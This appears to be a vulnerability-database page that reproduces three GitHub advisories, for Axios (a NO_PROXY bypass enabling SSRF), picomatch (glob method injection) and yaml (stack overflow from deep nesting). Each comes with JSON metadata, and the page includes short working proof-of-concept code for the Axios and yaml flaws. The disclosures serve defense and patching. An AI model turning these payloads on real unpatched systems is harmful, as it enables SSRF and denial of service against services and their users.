-
Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.
Affected Versions
- Confirmed on Axios 1.12.2 (latest at time of testing).
- affects all versions that rely on Axios’ current
NO_PROXYevaluation.
Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:
- Strip trailing dots from hostnames (per RFC 3986).
- Normalize IPv6 literals by removing brackets for matching.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-62718"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-09T17:32:19Z",
"nvd_published_at": "2026-04-09T15:16:08Z",
"severity": "MODERATE"
},
"details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n try {\n await axios.get(url, { timeout: 2000 });\n } catch {}\n}\n\nsetTimeout(async () =\u003e {\n console.log(\"\\n[*] Testing http://localhost.:8080/\");\n await test(\"http://localhost.:8080/\"); // goes through proxy\n\n console.log(\"\\n[*] Testing http://[::1]:8080/\");\n await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n * Force Axios to send local traffic through an attacker-controlled proxy.\n * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n * Potentially exfiltrate sensitive responses from internal services via the proxy.\n \n \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
"id": "GHSA-3p68-rc4w-qgx5",
"modified": "2026-05-08T13:46:43Z",
"published": "2026-04-09T17:32:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10661"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/10688"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.31.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}
GHSA-3V7F-55P6-F55P
Vulnerability from github – Published: 2026-03-25 21:13 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to a method injection vulnerability (CWE-1321) affecting the POSIX_REGEX_SOURCE object. Because the object inherits from Object.prototype, specially crafted POSIX bracket expressions (e.g., [[:constructor:]]) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.
This leads to incorrect glob matching behavior (integrity impact), where patterns may match unintended filenames. The issue does not enable remote code execution, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.
All users of affected picomatch versions that process untrusted or user-controlled glob patterns are potentially impacted.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like [[:...:]].
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying POSIX_REGEX_SOURCE to use a null prototype:
```js const POSIX_REGEX_SOURCE = { proto: null, alnum: 'a-zA-Z0-9', alpha: 'a-zA-Z', // ... rest unchanged };
Resources
- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33672"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:13:39Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "MODERATE"
},
"details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n ```js\n const POSIX_REGEX_SOURCE = {\n __proto__: null,\n alnum: \u0027a-zA-Z0-9\u0027,\n alpha: \u0027a-zA-Z\u0027,\n // ... rest unchanged\n };\n \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
"id": "GHSA-3v7f-55p6-f55p",
"modified": "2026-03-27T21:36:24Z",
"published": "2026-03-25T21:13:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}
GHSA-48C2-RRV3-QJMP
Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.
The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.
Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).
Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.
All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().
PoC
const YAML = require('yaml');
// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);
try {
YAML.parse(payload);
} catch (e) {
console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
console.log(e.message); // Maximum call stack size exceeded
}
Test environment: Node.js v24.12.0, macOS darwin arm64
| Version | Nesting Depth | Input Size | Result |
|---|---|---|---|
| 1.0.0 | 5,000 | 10,001 B | RangeError |
| 1.10.2 | 5,000 | 10,001 B | RangeError |
| 2.0.0 | 5,000 | 10,001 B | RangeError |
| 2.8.2 | 5,000 | 10,001 B | RangeError |
| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |
Depth threshold on yaml 2.8.2:
| Nesting Depth | Input Size | Result |
|---|---|---|
| 500 | 1,001 B | Parses successfully |
| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |
| 5,000 | 10,001 B | RangeError |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.8.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "yaml"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33532"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T20:08:24Z",
"nvd_published_at": "2026-03-26T20:16:15Z",
"severity": "MODERATE"
},
"details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n YAML.parse(payload);\n} catch (e) {\n console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n console.log(e.message); // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
"id": "GHSA-48c2-rrv3-qjmp",
"modified": "2026-03-27T21:34:51Z",
"published": "2026-03-25T20:08:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
},
{
"type": "PACKAGE",
"url": "https://github.com/eemeli/yaml"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
},
{
"type": "WEB",
"url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.